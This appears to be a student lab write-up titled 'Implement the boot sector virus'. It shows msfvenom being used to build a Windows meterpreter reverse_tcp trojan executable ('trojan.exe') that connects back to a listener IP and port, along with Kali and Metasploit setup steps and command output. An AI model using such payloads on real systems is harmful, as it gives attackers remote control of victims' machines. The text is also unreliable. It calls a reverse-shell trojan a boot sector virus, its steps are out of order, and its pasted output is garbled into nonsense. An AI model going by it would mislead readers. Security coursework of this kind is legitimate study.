#### IMPLEMENT THE BOOT SECTOR VIRUS

#### AIM:

To implement boot sector virus.

#### PROCEDURE:

### **Select Root Terminal Emulator**

### Step 1: Update and Upgrade Kali Linux

Open the terminal and type in : sudo apt-get update

Next, type in: sudo apt-get upgrade

### Step 3: Fix any errors

If you see this, it means that bundler is either set up incorrectly or hasn't been updated.

To fix this, change the current directory (file) to usr/share/metasploit-framework by typing in:

# >> cd /usr/share/metasploit-framework/

from the root directory. If you make a mistake, you can type in

### >> cd ..

to go back to the previous directory or type in any directory after cd to go there.

3. Now that we are in the metasploit-framework directory, type in

# >> gem install bundler

to install bundler, then type in

## >> bundle install

**4**.If bundler is not the correct version, you should get a message telling you which version to install (in this case it was 1.17.3). Type in

### >> gem install bundler:[version number]

and then type in : gem update -system

After all of that, everything should work perfectly.

### >> cd /root

to go back to the root directory.

## Step 2: Open exploit software

Open up the terminal and type in: msfvenom

### **Step 4: Choose our payload**

To see a list of payloads : msfvenom -l payloads

Step 5: Customize our payload

msfvenom –list-options -p windows/meterpreter/reverse\_tcp

### **Step 6:** Generate the virus

Now that we have our payload, ip address, and port number, we have all the information that we need.

Type in:

Syntax:

msfvenom -p [payload] LHOST=[your ip address] LPORT=[the port number] -f [file type] > [path]

### **Example**

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe

If we look in our files using ls, we see that our new file pops up.

### **OUTPUT:**

#### 1. msfvenom

### 2. msfvenom -l payloads

```
(uncorrupted) import table. PE files with CLR(CF/AET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use reson tracks are interested in the address of entire the pre-supped PE image stating from a tender of the address of entire the pre-supped PE image stating from a the address of entire price in a price in the address of entire price in a price in a tender price in a price i
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# 3. msfvenom —list-options -p windows/meterpreter/reverse tcp

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Servence — list-options — p windows/meterpreter/reverse_tcp

Error: invalid option

Ms/Venom — a Metasploit standalone payload generator.

Also a replacement for ms/payload and ms/encode.

Usage: /usr/bin/ms/renom [options] var-val>

Example: /usr/bin/ms/renom | options:

-1, — list
-p, — payload
-list-options
-f, — format
-e, — encoders
-encoders
-encoder
```

# 4. msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe

```
(kali⊚kali)-[~]

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
```

### **RESULT:**

Thus the implementation of boot sector virus executed successfully.